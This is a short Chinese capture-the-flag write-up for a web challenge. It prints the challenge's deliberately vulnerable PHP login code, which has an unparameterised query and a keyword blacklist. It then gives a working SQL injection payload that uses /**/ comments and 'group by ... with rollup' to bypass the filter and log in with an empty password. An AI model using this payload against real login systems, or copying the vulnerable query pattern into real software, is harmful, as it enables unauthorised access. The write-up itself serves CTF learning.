web 10
话说,web9与web10界面很相似哎,我猜测,肯定又是再9的基础上又进行了一些骚操作。试着先找找源码吧。
访问index.phps下载源码。(点击取消按钮也可)
1 <?php 2 $flag=""; 3 function replaceSpecialChar($strParam){ 4 $regex = "/(select|from|where|join|sleep|and|s|union|,)/i"; 5 return preg_replace($regex,"",$strParam); 6 } 7 if (!$con) 8 { 9 die('Could not connect: ' . mysqli_error()); 10 } 11 if(strlen($username)!=strlen(replaceSpecialChar($username))){ 12 die("sql inject error"); 13 } 14 if(strlen($password)!=strlen(replaceSpecialChar($password))){ 15 die("sql inject error"); 16 } 17 $sql="select * from user where username = '$username'"; 18 $result=mysqli_query($con,$sql); 19 if(mysqli_num_rows($result)>0){ 20 while($row=mysqli_fetch_assoc($result)){ 21 if($password==$row['password']){ 22 echo "登陆成功<br>"; 23 echo $flag; 24 } 25 26 } 27 } 28 ?>
果不其然,过滤了一些关键字。还有一些限制条件。有点棘手了。
看了大佬的文章,了解了一种新姿势。
介绍一下两个sql语句:
1. group by:对进行查询的结果进行分组。group by后跟什么,就按什么分组
2.with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计。
过滤空格的话用/**/进行绕过就行
pyload: admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
在用户名框里输入这个,密码框里为空即可。因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']
这样就能登录成功了。即可获得flag